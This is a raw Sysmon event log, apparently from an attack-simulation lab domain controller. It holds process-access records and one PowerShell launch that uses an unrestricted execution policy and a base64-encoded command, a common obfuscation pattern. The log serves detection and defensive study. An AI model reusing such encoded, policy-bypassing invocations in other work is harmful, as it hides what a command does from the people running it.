09:10:29.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003321Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003320Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003319Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.021{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2905-5F80-A800-000000007F01}1272C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003318Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.021{A5F018FF-2905-5F80-A700-000000007F01}11721276C:\Windows\system32\cmd.exe{A5F018FF-2905-5F80-A800-000000007F01}1272C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003317Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.023{A5F018FF-2905-5F80-A800-000000007F01}1272C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2904-5F80-EA04-060000000000}0x604ea0HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2905-5F80-A700-000000007F01}1172C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000003316Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.021{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003315Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-2904-5F80-A600-000000007F01}43923532C:\Windows\system32\conhost.exe{A5F018FF-2905-5F80-A700-000000007F01}1172C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003314Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003313Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003312Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003311Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003310Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003309Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003308Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003307Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003306Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003305Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.006{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2905-5F80-A700-000000007F01}1172C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003304Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 